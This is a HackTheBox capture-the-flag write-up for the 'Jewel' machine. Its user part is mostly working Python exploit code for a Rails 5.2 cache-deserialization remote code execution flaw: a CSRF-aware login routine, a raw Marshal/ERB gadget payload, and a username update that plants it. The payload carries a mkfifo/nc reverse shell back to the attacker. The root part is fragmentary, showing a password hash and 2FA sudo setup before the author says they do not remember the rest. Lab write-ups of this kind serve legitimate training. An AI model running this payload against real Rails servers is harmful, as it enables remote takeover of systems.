HackTheBox Jewel - Writeup
OS: | Linux |
Release Date: | 10/10/2020 19:00 PM |
Points: | 30 |
Difficulty: | Medium |
~ User Part
Initial nmap scan:
| ssh-hostkey:
| 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
| 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open http Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.129.24.124 Git
|_Requested resource was http://10.129.24.124:8000/gitweb/
8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
gitweb
instance with one public repository on it. The other web port (8080) has a blog,
which seems to be the live version of the repository we found. To analyze the source code, we visit the project page,
click on [tree] and [snapshot], which leads us to http://10.10.10.211:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz
.
Extracting the archive, we got a lot of files, including a sql dump with hashed passwords (bd.sql
).
Unfortunately, the hashes don't seem to be crackable using rockyou. Buf we find something other interesting:
The Gemfile
indicates, that the server is using rails v5.2.2.1
. Doing some
research, we find out, that this version has a few RCE vulnerabilities, but we will focus on this one:
data = cache.fetch("demo", raw: true) { untrusted_string }
We can find similar code in our ruby app in app/controllers/user_controller.rb
on line 37:
"@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}"
All we need to do now is registering an account, updating the username to our malicious code and loading it again buy visiting the front page. Assuming we already registered an account, we can create a Session object using the following code:
URL = "http://10.10.10.211:8080"
email = "Blindhero@htb.htb"
password = "aaaa"
userId = None
def login(email, password, silent=False):
global userId
session = requests.Session()
loginUrl = "%s/login" % URL
if not silent:
print("[ ] Retrieving login page")
res = session.get(loginUrl)
if res.status_code != 200:
if not silent:
print("[-] Server returned: %d %s" % (res.status_code, res.reason))
return None
soup = BeautifulSoup(res.text, "html.parser")
csrfToken = soup.find("meta", {"name": "csrf-token"})["content"].strip()
if not silent:
print("[+] Got CSRF token:", csrfToken)
post_data = {
"utf8": "✓",
"authenticity_token": csrfToken,
"session[email]": email,
"session[password]": password,
"commit": "Log in"
}
res = session.post(loginUrl, data=post_data, allow_redirects=False)
if res.status_code != 302 or res.headers["Location"] != URL+"/":
if not silent:
print("[-] Server returned: %d %s" % (res.status_code, res.reason))
return None
res = session.get(res.headers["Location"])
if res.status_code != 200:
if not silent:
print("[-] Server returned: %d %s" % (res.status_code, res.reason))
return None
soup = BeautifulSoup(res.text, "html.parser")
for link in soup.find_all("a", {"class":"nav-link"}):
if link["href"].startswith("/users/"):
userId = int(link["href"][len("/users/"):])
break
print("[+] Successfully logged in. User ID:", userId)
return session
session = login(email, password)
Next we will need to generate our payload. I've taken the output of the tool showed on the CVE github page and transferred it into python code. The only things we need to modify is the command being executed and the byte right in front of the string, which is the length plus some additional bytes:
command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f' % (ipAddress, listenPort)
prefix_byte = chr(len(command)+7)
payload = b'\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:ERB\x08:\t@srcI"%b`%s`\x06:\x06ET:\x0e@filenameI"\x061\x06;\tT:\x0c@linenoi\x06:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\tT:\x10@deprecatorIu:\x1fActiveSupport::Deprecation\x00\x06;\tT' % (prefix_byte.encode(), command.encode())
Now we need to update the username with the following code:
def updateUser(session, id, name, email, password):
userEditUrl = "%s/users/%d/edit" % (URL, id)
userUrl = "%s/users/%d" % (URL, id)
print("[ ] Retrieving user edit page:", userEditUrl)
res = session.get(userEditUrl)
if res.status_code != 200:
print("[-] Server returned: %d %s" % (res.status_code, res.reason))
exit(1)
soup = BeautifulSoup(res.text, "html.parser")
csrfToken = soup.find("meta", {"name": "csrf-token"})["content"].strip()
print("[+] Got CSRF token:", csrfToken)
post_data = {
"utf8": "✓",
"_method": "patch",
"authenticity_token": csrfToken,
"user[username]": name,
"user[email]": email,
"user[password]": password,
"commit": "Update User"
}
res = session.post(userUrl, data=post_data, allow_redirects=False)
if res.status_code != 302 or res.headers["Location"] != URL + "/articles":
print("[-] Server returned: %d %s" % (res.status_code, res.reason))
soup = BeautifulSoup(res.text, "html.parser")
error = soup.find("div", {"class": "card-body"})
if error:
print("[-] Error:", error.text.strip())
return False
print("[+] Success")
return True
updateUser(session, userId, payload, email, password)
And to finally trigger the exploit, we set up a netcat listener, visit the front page and grab the user flag:
session.get(URL)
Connection from 10.10.10.211:38672
bash: cannot set terminal process group (792): Inappropriate ioctl for device
bash: no job control in this shell
# Root Part
.google_authenticator
" WINDOW_SIZE 17
" TOTP_AUTH
/etc/pam.d/sudo
, 2FA is required when using sudo
:
@include common-auth
@include common-account
@include common-session-noninteractive
auth required pam_google_authenticator.so nullok
/var/backups/dump_2020-08-27.sql
, as the output of linpeas
says.
1 bill bill@mail.htb 2020-08-26 10:24:03.878232 2020-08-27 09:18:11.636483 $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
sudo
command now,
we need to setup Google Authenticator. I used my mobile phone, installed the app, added a new key and entered the value, we got from
.google_authenticator
. It now displays a 6-digit code, which changes repeatedly:
To be honest, I finished it two years ago and I simply don't remember what was going on with this box here.